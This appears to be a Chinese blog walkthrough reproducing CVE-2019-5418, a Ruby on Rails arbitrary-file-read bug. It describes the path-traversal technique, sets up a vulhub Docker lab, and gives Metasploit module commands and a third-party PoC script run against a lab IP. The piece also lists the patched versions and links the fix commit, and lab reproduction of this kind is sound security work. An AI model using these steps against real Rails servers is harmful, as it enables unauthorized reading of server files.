CVE2019-5418漏洞复现

简介

Ruby on Rails是一个web应用程序框架,是一个相对较新的web应用程序框架,构建在Ruby语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。

漏洞概述

1
2
3
由于框架使用指定参数的render file来渲染应用之外的视图,
我们通过修改访问控制器的请求包,通过"../../../../../"来实现路径穿越,
再通过"{{"来闭合模板查询路径,从而实现任意文件读取。

影响版本

Rails全版本
其中修复版本:
Rails 6.0.0.beta3,
5.2.2.1,
5.1.6.2,
5.0.7.2,
4.2.11.1

环境搭建

1
2
3
4
5
6
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/rails/CVE-2019-5418
docker-compose up -d

可能会出现的错误docker启动到一半终止,解决办法如下:
vi docker-compose.yml 在最底部添加tty: true


-d参数为挂在后台运行

docker ps为查看docker有没有启动

漏洞复现

访问ip:3000正常页面

访问robots抓包


查看系统版本文件

利用msf辅助模块检测(注意是检测)

1
2
3
4
5
6
7
search rails
use auxiliary/gather/rails_doubletap_file_read
options
set rhosts 192.168.146.134
set lport 3000
set route robots
run

检测成功


检测失败示例(设置了一个不存在的路径)

利用脚本进行测试

git clone https://github.com/Paper-Pen/TimelineSec_POC.git
cd TimelineSec_POC
cd Ruby_on_Rails
python3 CVE-2019-5418.py -u http://ip/


由于它原本检测脚本没有输出,所以我们改下代码
print(resp)

再次执行脚本

修复方式

补丁地址:https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715
Poc:https://github.com/Paper-Pen/TimelineSec_POC
参考链接
https://github.com/vulhub/vulhub/tree/master/rails/CVE-2019-5418
https://xz.aliyun.com/t/4448